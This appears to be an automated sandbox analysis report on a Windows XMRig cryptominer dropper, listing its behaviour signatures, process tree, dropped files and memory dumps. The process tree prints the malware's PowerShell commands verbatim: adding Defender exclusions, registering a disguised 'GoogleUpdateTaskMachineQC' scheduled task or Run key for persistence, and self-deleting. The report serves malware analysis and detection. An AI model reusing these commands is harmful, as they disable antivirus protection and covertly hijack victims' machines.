Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3392
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3032
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:444
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2572
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:616
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:2120
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:4760
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:1660
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:3116
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:4364
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1456
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:544
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
            1⤵
              PID:3904
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k UnistackSvcGroup
              1⤵
                PID:4352

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    updater.exe

                    • Path C:\Program Files\Google\Chrome\updater.exe
                    • Size 615KB
                    • SHA256 502644eb14dcab244fd920db40005a7ee165a7422c85be97743f4f8c21ed93a1
                    • MD5 SHA1 SHA512 SSDEEP

                    updater.exe

                    • Path C:\Program Files\Google\Chrome\updater.exe
                    • Size 1.5MB
                    • SHA256 a872564b0f50bd1efdd7430e1c2d7d001f42ea59aab9bceb56bc912ccfb7bc94
                    • MD5 SHA1 SHA512 SSDEEP

                    g.log

                    • Path C:\Program Files\Google\Libs\g.log
                    • Size 226B
                    • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                    • MD5 SHA1 SHA512

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 32fef7d0dd7c43bd3440fca325e363d04b667c385d13d4dd44528f35b0167bed
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_dbhhas2a.gtf.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbhhas2a.gtf.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    powershell.exe.log

                    • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 4KB
                    • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                    • MD5 SHA1 SHA512 SSDEEP

                    StartupProfileData-NonInteractive

                    • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                    • MD5 SHA1 SHA512

                    memory/444-51-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/444-48-0x0000029AD51E0000-0x0000029AD51F0000-memory.dmp

                    memory/444-47-0x0000029AD51E0000-0x0000029AD51F0000-memory.dmp

                    memory/444-46-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/616-111-0x00007FF433470000-0x00007FF433480000-memory.dmp

                    memory/616-112-0x000002033A320000-0x000002033A330000-memory.dmp

                    memory/616-113-0x000002033A320000-0x000002033A330000-memory.dmp

                    memory/616-115-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/616-101-0x000002033A320000-0x000002033A330000-memory.dmp

                    memory/616-100-0x000002033A320000-0x000002033A330000-memory.dmp

                    memory/616-99-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/1456-122-0x00007FF648D60000-0x00007FF648F71000-memory.dmp

                    memory/1456-52-0x00007FF648D60000-0x00007FF648F71000-memory.dmp

                    memory/1660-126-0x00007FF6970A0000-0x00007FF6970B6000-memory.dmp

                    memory/1660-133-0x00007FF6970A0000-0x00007FF6970B6000-memory.dmp

                    memory/1688-35-0x00007FF7BE6F0000-0x00007FF7BE901000-memory.dmp

                    memory/1688-0-0x00007FF7BE6F0000-0x00007FF7BE901000-memory.dmp

                    memory/2572-63-0x000002B1DC3C0000-0x000002B1DC3D0000-memory.dmp

                    memory/2572-73-0x000002B1F6E00000-0x000002B1F6E1C000-memory.dmp

                    memory/2572-77-0x000002B1F6BB0000-0x000002B1F6BBA000-memory.dmp

                    memory/2572-78-0x000002B1F7040000-0x000002B1F705C000-memory.dmp

                    memory/2572-79-0x000002B1F7020000-0x000002B1F702A000-memory.dmp

                    memory/2572-83-0x000002B1F7070000-0x000002B1F707A000-memory.dmp

                    memory/2572-82-0x000002B1F7060000-0x000002B1F7066000-memory.dmp

                    memory/2572-81-0x000002B1F7030000-0x000002B1F7038000-memory.dmp

                    memory/2572-80-0x000002B1F7080000-0x000002B1F709A000-memory.dmp

                    memory/2572-84-0x000002B1DC3C0000-0x000002B1DC3D0000-memory.dmp

                    memory/2572-87-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/2572-75-0x000002B1DC3C0000-0x000002B1DC3D0000-memory.dmp

                    memory/2572-76-0x000002B1F6E20000-0x000002B1F6ED5000-memory.dmp

                    memory/2572-74-0x00007FF48A7A0000-0x00007FF48A7B0000-memory.dmp

                    memory/2572-62-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/2704-15-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/2704-6-0x000001957FE20000-0x000001957FE42000-memory.dmp

                    memory/2704-11-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/2704-12-0x000001957FED0000-0x000001957FEE0000-memory.dmp

                    memory/3032-33-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/3032-31-0x0000020AF8440000-0x0000020AF8450000-memory.dmp

                    memory/3032-30-0x0000020AF8440000-0x0000020AF8450000-memory.dmp

                    memory/3032-28-0x0000020AF8440000-0x0000020AF8450000-memory.dmp

                    memory/3032-29-0x0000020AF8440000-0x0000020AF8450000-memory.dmp

                    memory/3032-27-0x00007FFD87F10000-0x00007FFD889D1000-memory.dmp

                    memory/3116-131-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-154-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-127-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-128-0x000001EAC3360000-0x000001EAC3380000-memory.dmp

                    memory/3116-129-0x000001EAC3380000-0x000001EAC33A0000-memory.dmp

                    memory/3116-123-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-132-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-124-0x000001EAC31D0000-0x000001EAC31F0000-memory.dmp

                    memory/3116-134-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-135-0x000001EAC3360000-0x000001EAC3380000-memory.dmp

                    memory/3116-137-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-138-0x000001EAC3380000-0x000001EAC33A0000-memory.dmp

                    memory/3116-140-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-142-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-144-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-146-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-148-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-150-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-152-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-125-0x000001EAC3340000-0x000001EAC3360000-memory.dmp

                    memory/3116-156-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-158-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-160-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-162-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-164-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-166-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-168-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-170-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-172-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-174-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-176-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-178-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-180-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-182-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-184-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-186-0x00007FF760F50000-0x00007FF761744000-memory.dmp

                    memory/3116-188-0x00007FF760F50000-0x00007FF761744000-memory.dmp